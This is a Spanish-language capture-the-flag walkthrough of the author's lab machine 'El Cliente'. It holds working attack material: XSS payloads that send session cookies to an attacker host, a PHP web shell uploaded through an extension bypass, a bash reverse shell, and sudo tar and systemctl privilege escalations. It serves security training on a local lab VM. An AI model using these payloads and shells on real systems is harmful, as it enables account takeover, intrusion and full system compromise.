El Cliente

¡Hola Hacker! Bienvenid@ a un nuevo artículo. En esta ocasión, estaremos resolviendo una nueva máquina, la cual creé para nuestra comunidad de The Hackers Labs, la máquina El cliente.
Reconocimiento
Iniciamos, como de costumbre, realizando un envío de paquetes ICMP (ping) hacia la máquina objetivo para verificar la conectividad de la red. Observamos que la máquina responde a nuestros paquetes, lo que confirma que existe comunicación activa entre nuestro sistema y el objetivo.

Además, al analizar el TTL (Time To Live) del paquete de respuesta, que es de 64, deducimos que el sistema operativo de la máquina objetivo es probablemente Linux. Este valor de TTL es característico de los sistemas Linux en su configuración predeterminada, ya que otros sistemas operativos, como Windows, suelen utilizar valores diferentes (por ejemplo, 128).
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
❯ nmap -sS -p- --open --min-rate 5000 -Pn -n -oG open_ports -vvv 192.168.1.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 16:29 -03
Initiating ARP Ping Scan at 16:29
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 16:29, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:29
Scanning 192.168.1.18 [65535 ports]
Discovered open port 22/tcp on 192.168.1.18
Discovered open port 80/tcp on 192.168.1.18
Completed SYN Stealth Scan at 16:30, 26.07s elapsed (65535 total ports)
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.00070s latency).
Scanned at 2024-12-15 16:29:36 -03 for 26s
Not shown: 42758 filtered tcp ports (no-response), 22775 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:1F:D5:9F (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.21 seconds
Raw packets sent: 114535 (5.040MB) | Rcvd: 22779 (911.160KB)
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
❯ nmap -sCV -p 22,80 192.168.1.18 -oN services_scan -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 16:31 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Initiating ARP Ping Scan at 16:31
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 16:31, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:31
Completed Parallel DNS resolution of 1 host. at 16:31, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:31
Scanning 192.168.1.18 [2 ports]
Discovered open port 80/tcp on 192.168.1.18
Discovered open port 22/tcp on 192.168.1.18
Completed SYN Stealth Scan at 16:31, 0.02s elapsed (2 total ports)
Initiating Service scan at 16:31
Scanning 2 services on 192.168.1.18
Completed Service scan at 16:31, 6.05s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.18.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.22s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.0015s latency).
Scanned at 2024-12-15 16:31:06 -03 for 7s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 16:91:39:66:59:eb:2f:c5:65:3c:9a:41:31:1a:f3:37 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBm45ij8KDUi+j313OzxXg3tdsWAlRfPktQEBIU5b+GML05aHz6y4D0vWyhpHWe4q94oApepJc78urT940zIy3g=
| 256 a7:87:77:81:bd:ce:b2:7b:78:a6:39:00:8b:03:91:16 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH17hNhZeTYGdOv0xNgLdZsdjn56wounp77DFfhQTM4Q
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
MAC Address: 08:00:27:1F:D5:9F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
Explotación inicial
Ingresamos al puerto 80 y nos encontramos con el siguiente sitio web:

Vemos que si accedemos a alguno de los enlaces del menú, intenta resolver a el dominio arka.thl
.

Registramos este dominio en nuestro archivo /etc/hosts
.
echo "192.168.1.18 arka.thl" >> /etc/hosts
Navegando por el sitio web, nos encontramos con una sección de contacto la cual presenta un formulario en el que podemos completar además de datos personales un mensaje.

Antes de probar si este formulario presenta vulnerabilidades, podemos realizar un poco de fuzzing de subdominios bajo el dominio principal arka.thl
.

Encontramos un subdominio disponible, admin.arka.thl
.
Lo agregamos al archivo /etc/hosts
.
echo "192.168.1.18 admin.arka.thl" >> /etc/hosts
Al ingresar al sitio, nos encontramos con el siguiente login.

Probamos credenciales tipicas, admin:admin
, admin:passsword
, root:toor
admin:12345678
pero nada. Intentamos con inyecciones SQL pero tampoco logramos nada.
SI recordamos, contabamos con un formulario de contacto a través del cual podemos enviar un mensaje.
El campo mensaje es vulnerable a XSS (Cross Site Scripting) y para llevar a cabo la explotación completaremos el formulario y en el campo de mensaje
utilizaremos el siguiente payload:
<img src="" onerror="fetch(`http://192.168.1.20/?cookie=${document.cookie}`);" />
En este caso use este payload, pero podemos usar otros como por ejemplo:
<script>fetch(`http://192.168.1.20/?cookie=${document.cookie}`);</script>
Al cargarse la imagen anterior, se ejecutará el evento onerror
ya que no se proporciono una ruta de imagen valida.

Antes de enviar el formulario, nos ponemos en escucha con netcat.

Enviamos el formulario. Si todo va bien, luego de unos segundos recibiremos una conexión a nuestra máquina atacante con la cookie de sesión del usuario admin
.


Volvemos al sitio web de admin.arka.thl
y asignamos el valor de la cookie.

Recargamos la web y deberíamos ganar acceso al panel de administración.

Genial, ganamos acceso al panel.
Si miramos dentro de la sección de proyectos, podemos ver que existe un formulario para cargar nuevos proyectos y uno de los campos solicitados es Documentos
el cual nos permite cargar archivos. Como indica el mensaje, solo se permiten cargar archivos .pdf, .docx, .png, .jpeg, y .jpg. En este punto, deberíamos cargar el formulario y tramitar la petición por Burp Suite al Repeater, para maninpular la misma y modificar extensiones de nuestro interes o el mime type.
En este caso, otra de las extensiones que permite cargar además de las nombradas anteriormente es .phar
, por lo que cargamos un archivo el cual nos permita ejecutar comandos.
<?php system($_GET['cmd']); ?>

Vemos que una vez creado el proyecto, se lista en la tabla junto al formulario.

Si accedemos al enlace del documento, logramos acceder a nuestro script.

Nos ponemos en escucha con netcat por el puerto elegido, en este caso el 443.
nc -nlvp 443
Nos enviamos una reverse shell.
bash -c "bash -i >& /dev/tcp/192.168.1.20/443 0>&1"
Codificamos el &
como %26
bash -c "bash -i >%26 /dev/tcp/192.168.1.20/443 0>%261"
Ganamos acceso al sistema.

Hacemos el tratamiento de la tty para tener una terminal más interactiva:
script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <columns>
www-data -> scott
Si miramos el archivo de conexión a la base de datos db.php
vemos la contraseña del usuario scott
y en el sistema existe un usuario con ese nombre, por lo que podemos probar si existe reutilización de contraseña.

Efectivamente, la contraseña es valida.

scott -> kobe
Si realizamos una enumeración básica, vemos que podemos ejecutar el binario tar
como el usuario kobe.

Nos movemos al usuario kobe de la siguiente manera:
sudo -u kobe /usr/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
Referencia: Tar | GTFOBins

Leemos el flag de user.

Elevación de privilegios
Si realizamos nuevamente una enumeración, vemos que podemos ejecutar con sudo el binario systemctl
, para lo cual abusaremos de este creando un servicio falso que asigne permisos suid a el binario /bin/bash
.
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > evil.service
sudo systemctl link /home/kobe/evil.service
sudo systemctl enable --now /home/kobe/evil.service
De esta forma, logramos escalar privilegios.
Referencia: systemctl | GTFOBins



Post Explotación
Por ultimo, leemos el flag de root.

De esta forma, llegamos al final de la máquina El Cliente.
Si te gustó este CTF, te inivito a que lo compartas.
Si aun no eres parte de nuestra comunidad, te dejo los enlaces a la web The Hackers Labs y a el servidor de Discord.
Gracias por tu lectura!
Happy Hacking!
Última actualización